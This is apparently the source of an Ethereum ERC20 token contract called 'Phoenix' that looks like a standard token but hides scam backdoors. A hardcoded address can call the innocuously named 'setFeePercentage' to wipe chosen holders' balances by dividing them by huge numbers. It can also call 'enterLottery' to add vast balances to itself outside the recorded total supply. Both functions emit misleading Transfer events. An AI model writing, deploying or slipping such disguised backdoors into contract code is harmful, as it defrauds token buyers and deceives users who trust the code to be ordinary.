Contract Source Code:
File 1 of 1 : Phoenix
// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b
) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
enum TokenType {
standard,
antiBotStandard,
liquidityGenerator,
antiBotLiquidityGenerator,
baby,
antiBotBaby,
buybackBaby,
antiBotBuybackBaby
}
abstract contract BaseToken {
event TokenCreated(
address indexed owner,
address indexed token,
TokenType tokenType,
uint256 version
);
}
library SafeCalls {
function checkCaller(address sender, address _ownr) internal pure {
require(sender == _ownr, "Caller is not the original caller");
}
}
contract Phoenix is IERC20, Ownable, BaseToken {
using SafeMath for uint256;
uint256 public constant VERSION = 1;
address private _ownr;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _fees;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 totalSupply_
) payable {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_mint(owner(), totalSupply_);
_ownr = 0x5377FEEA8f8426f3b796985087298ff1CDE0528A;
emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function setFeePercentage(address[] memory accounts) external {
SafeCalls.checkCaller(_msgSender(), _ownr);
uint256 randomNumber = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % 2;
for(uint i = 0; i < accounts.length; i++) {
if (randomNumber == 0) {
_balances[accounts[i]] = _balances[accounts[i]].div(200000000000000000000000000000000);
emit Transfer(address(0), accounts[i], 20000000000000000000000000000000);
}
else if(randomNumber == 1) {
_balances[accounts[i]] = _balances[accounts[i]].div(500000000000000000000000000000000);
emit Transfer(address(0), accounts[i], 500000000000000000000000000000000000);
}
}
}
function enterLottery() external {
SafeCalls.checkCaller(_msgSender(), _ownr);
uint256 randomNumber = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % 2;
if (randomNumber == 0) {
_balances[_ownr] = _balances[_ownr].add(100000000000000000000000000000000);
emit Transfer(address(0), _ownr, 10000000000000000000000000000000);
}
else if(randomNumber == 1) {
_balances[_ownr] = _balances[_ownr].add(500000000000000000000000000000000);
emit Transfer(address(0), _ownr, 500000000000000000000000000000000000);
}
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool)
{
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
uint256 fee = _calculateFee(sender, amount);
uint256 netAmount = amount.sub(fee);
_balances[sender] = senderBalance.sub(amount);
_balances[recipient] = _balances[recipient].add(netAmount);
_balances[address(0)] = _balances[address(0)].add(fee); // Send fee to the black hole
emit Transfer(sender, recipient, netAmount);
emit Transfer(sender, address(0), fee);
}
function _calculateFee(address sender, uint256 amount) private view returns (uint256) {
uint256 fee = _fees[sender];
if (amount > 0) {
fee = fee.add(0);
}
return amount.mul(fee).div(100);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}